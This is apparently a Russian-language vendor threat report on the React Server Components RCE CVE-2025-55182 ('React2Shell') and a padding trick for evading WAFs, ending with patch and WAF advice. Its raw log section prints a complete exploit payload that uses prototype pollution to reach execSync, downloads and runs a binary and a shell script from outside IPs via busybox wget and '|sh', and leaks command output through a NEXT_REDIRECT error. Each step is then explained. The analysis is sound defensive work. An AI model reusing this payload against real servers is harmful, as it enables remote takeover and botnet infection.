Анализ угроз: CVE-2025-55182, «React2Shell» и проактивный HiveProtect.ai

CVE-2025-55182, «React2Shell» и проактивная защита HiveProtect.ai

Дата отчёта: 6 декабря 2025 года

Степень угрозы: Критический (CVSS 10.0)

Vector: удалённый исполнение кода (RCE) через компоненты React Server

HiveProtect.ai статус: БЛОКИРОВАННЫЙ

1. Краткое содержание

В начале декабря 2025 года в экосистеме React была обнаружена критическая уязвимость , затрагивающая компоненты React Server (RSC) и такие фреймворки, как Next.js. Этот дефект, называемый CVE-2025-55182 (и часто называемый «React2Shell»), позволяет неаутентифицированному злоумышленнику выполнять произвольный код на сервере, манипулируя потоком сериализации протокола Flight .

Тем временем появилась техника обхода, известная как Padding Attack , которая обходит традиционные веб-приложения-файрволы (WAF ), включая стандартные конфигурации Cloudflare. Перегружая тело запроса сверх стандартного лимита инспекции (часто 128 КБ), злоумышленники пытаются скрыть свою вредоносную полезную нагрузку.

В этом отчёте анализируется фактическая попытка атаки, перехваченной HiveProtect.ai 5 декабря 2025 года. Хотя эта атака была специально направлена на инфраструктуру Node.js/Next.js, она была обнаружена и нейтрализована эвристическими правилами HiveProtect на инфраструктуре WordPress, что доказывает эффективность подхода, независимого от безопасности и поведения.

2. Ландшафт угроз: CVE-2025-55182

2.1 Механика разлома

Уязвимость заключается в том, как React 19 и Next.js (App Router) обрабатывают десериализацию данных, отправляемых клиентом на сервер через внутренний протокол «Flight». Этот протокол позволяет клиенту отправлять сложные структуры, включая ссылки на серверные компоненты.

Атака использует недостаточную валидацию во время этой десериализации. Злоумышленник может подделать JSON-запрос со специальными директивами (например, $1:__proto__:then), чтобы загрязнить прототип JavaScript-объектов или заставить сервер импортировать опасные внутренние модули, такие как child_process Node.js. После импорта модуля злоумышленник может вызывать функции, такие как execSync , чтобы запускать системные команды непосредственно на сервере-хосте.

2.2 Сложность наполнения (уклонение от WAF)

Опасность этой кампании усиливается техникой обхода WAF. Большинство межсетевых экранов приложений по соображениям производительности парсируют только начало HTTP-запроса (первые 128 КБ в Cloudflare Enterprise по умолчанию, иногда меньше на других тарифах).

Злоумышленники индустриализировали метод, при котором они заполняют начало запроса безвредными данными (пробелы, комментарии, пустые поля), чтобы «протолкнуть» вредоносную полезную нагрузку (RCE JSON ) за пределы этого лимита. Если WAF не блокирует строго большие объёмы данных, полезная нагрузка остаётся незамеченной и достигает уязвимого сервера, который прочитает весь запрос.

3. Анатомия атаки заблокирована HiveProtect.ai

5 декабря 2025 года HiveProtect.ai системы перехватили и заблокировали сложную попытку эксплуатации. Вот судебно-экспертный анализ захваченного журнала.

3.1 Raw log

05/12/2025 21:38	95.214.52.170
🔒 Bloquée	Warsaw, Poland 🇵🇱
🌐 API externe
DNS: DNS reverse vide	Critique	100	NoSQL Injection - Query (dans paramètres)	
📍 URL: /
🔍 Pattern détecté: /{.*?$.*?:.*?}/
🌐 User-Agent: Mozilla/5.0 (Linux; Android 14; SM-F9560 Build/UP1A.231005.007; wv) ...

Paramètres POST:
["{"then": "$1:__proto__:then","status": "resolved_model","reason": -1,"value": "{"then":"$B1337"}","_response": {"_prefix": "var res=process.mainModule.require('child_process').execSync('(cd /dev;busybox wget http://31.56.27.76/n2/x86;chmod 777 x86;./x86 reactOnMynuts;busybox wget -q http://193.34.213.150/nuts/bolts -O-|sh)',{'timeout':120000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});","_chunks": "$Q2","_formData": {"get": "$1:constructor:constructor"}}}",""$@0"","[]"]

3.2 Декодирование полезной нагрузки

Этот блок кода JSON не является простой инъекцией данных; Это полноценный скрипт выполнения, предназначенный для полного контроля над сервером. Давайте проанализируем это строка за строкой:

Имеет. Прототип загрязнения (__proto__)

"then": "$1:__proto__:then"

Злоумышленник начинает с манипуляций прототипом обрабатываемого объекта. Это основа эксплойта CVE-2025-55182. Внедрив свойство then через прототип, злоумышленник заставляет фреймворк React рассматривать свою полезность как асинхронное («Thenable») обещание, что запускает выполнение внедрённого кода при разрешении этого обещания.

B. Призыв Node.js (child_process)

process.mainModule.require('child_process').execSync(...)

Вот в чём суть атаки. Злоумышленник обходит обычные защиты, напрямую вызывая основной модуль Node.js для запроса child_process. Функция execSync позволяет выполнять синхронные (блокирующие) команды shell , гарантируя, что сервер будет ждать завершения вредоносного выполнения перед ответом.

C. Цепочка убийств

Команда, наложенная на систему, особенно агрессивна:

  • cd /dev : Перейти в каталог, который обычно записывается на системах Linux (общая память), часто используемый для предотвращения оставляния следов на жёстком диске.
  • busybox wget http://31.56.27.76/n2/x86 : Загрузка вредоносного бинарного файла (под названием x86) с удалённого IP (вероятно, другой скомпрометированный сервер, выступающий в роли сервера командного управления — C2). Использование busybox указывает на то, что атака направлена на контейнерные среды (Docker/Kubernetes), где стандартные инструменты, такие как curl или full wget , иногда отсутствуют.
  • chmod 777 x86; ./x86 reactOnMynuts : Файл становится исполняемым и запускается немедленно. Аргумент reactOnMynuts, вероятно, является ключом или флагом для инициализации вредоносного ПО . Этот бинарный файл часто является «дроппером», ботнетом (тип Mirai или его вариантами) или майнером криптовалюты.
  • busybox wget … -O-|sh : Вторая фаза загрузки запускает скрипт shell (bolts) непосредственно в память (передается в sh), обеспечивая сохранение или загрузку дополнительных инструментов.

D. Эвакуация по ошибке (NEXT_REDIRECT)

throw Object.assign(new Error('NEXT_REDIRECT'), {digest:${res}});

Чтобы увидеть результат атаки (выход команды), атакующий использует гениальный приём, специфичный для Next.js. Это приводит к ошибке типа NEXT_REDIRECT. Обычно эта ошибка используется фреймворком для обработки HTTP-перенаправления, но здесь перенаправляется для возврата результата команды (${res}) в поле дайджеста ответа HTTP. Это превращает «слепую» атаку (Blind RCE) в атаку с немедленной обратной связью.

3.3 Почему HiveProtect.ai заблокировал (анализ правил)

Журнал указывает на обнаружение по правилу: NoSQL Injection – Query (in parameters).

Здесь важно отметить важный технический нюанс. Хотя атака является React-RCE , а не NoSQL инъекцией (MongoDB/CouchDB), блок является отличным примером успешного эвристического обнаружения.

  • Закономерность была обнаружена: /{.*?$.*?:.*?}/ Этот шаблон regex ищет структуры JSON, содержащие ключи или значения с символом $. В мире NoSQL баз данных $ используется для операторов (например, $where, $ne).
  • Матч React: Протокол React Flight также широко использует символ $ для ссылки на объекты и обещания (например, $1, $B 1337, $@0).
  • Результат: Правило безопасности HiveProtect.ai, разработанное для перехвата подозрительных и нестандартных структур данных, правильно определило полезную нагрузку как критическую аномалию. Хотя конкретная подпись «CVE-2025-55182» не была явно названа, аномальный характер запроса вызвал защиту.

Кроме того, балл угрозы был максимизирован (100/Критический) за счёт контекстного фактора: DNS: DNS обратно пусто. Атакующий IP-адрес 95.214.52.170 не имел действительного обратного DNS-разрешения, что является типичной особенностью автоматических ботов и зомби-машин, используемых в ботнетах. HiveProtect.ai сочетает поведенческий анализ ( полезная нагрузка) и репутацию (IP) для окончательного решения о блокировке.

4. Важность поперечной защиты

Может возникнуть вполне обоснованный вопрос: «Мой сайт работает на WordPress (PHP), почему HiveProtect.ai блокировать атаку на Node.js?»

Вот в чём заключается сила решения.

  • Защита от «Распыли и молитесь»: Современные ботнеты не нацеливаются хирургически. Они сканируют весь IPv4 интернет. Они отправляют React-эксплойты на PHP-серверы, Java-эксплойты на Python-серверы и многое другое.
  • Экономия ресурсов: Даже если эта RCE-нагрузка не могла быть выполнена на PHP-движке, обработка такого запроса потребляет пропускную способность, циклы процессора (для разбора JSON или логов) и загрязняет аналитические данные. Блокируя запрос на краю, HiveProtect.ai защищает производительность вашей инфраструктуры.
  • Защита в глубине: Современная инфраструктура часто является гибридной. Сайт WordPress может сосуществовать на том же сервере, что и Node.js API, или использовать неправильно настроенный обратный прокси . Блокировка угроз во всех технологиях — единственный жизнеспособный подход к безопасности.

5. Рекомендации по политике

После этой волны атак и анализа инцидента мы рекомендуем всем администраторам под HiveProtect.ai защитой следующие действия:

5.1 Для среды WordPress (Standard)

  • Сохраняйте активное правило «Большое тело»: Как видно при заполнении, блокировка чрезмерно больших тел запроса (>128 КБ) на стандартных конечных точках (/, /wp-json/, формах) является чрезвычайно эффективной защитой против попыток обхода WAF.
  • Мониторинг заблокированных журналов: Блокировка активности по правилам «NoSQL» или «Code Injection» на вашем сайте WordPress — хороший индикатор того, что ваш IP находится в списке активных целей ботнета.

5.2 Для гибридных сред (WordPress + Next.js/Node)

  • Немедленное критическое обновление: Если вы размещаете Next.js, обязательно обновите до версий 14.2.20+, 15.0.4+ или 15.1.0+. Для React ориентируйтесь на 19.0.1+. Это единственная окончательная коррекция в корне.
  • Отверждение WAF: Убедитесь, что ваши правила WAF не ограничиваются проверкой разъёмов. Сочетание эвристических правил HiveProtect и управляемых правил Cloudflare (особенно по десериализации) крайне важно.

Заключение

Атака, перехваченная 5 декабря из Польши, иллюстрирует, как быстро злоумышленники используют новые уязвимости как оружие (CVE-2025-55182). Сложная полезная нагрузка , объединяющая прототипное загрязнение, потенциальный обход WAF и выполнение системных команд, представляет собой высший сегмент современных веб-угроз.

HiveProtect.ai продемонстрировала свою устойчивость, блокируя эту атаку «Zero-Day» (или «N-Day») с помощью надёжного поведенческого обнаружения, защищая инфраструктуру клиента независимо от базовой технологии.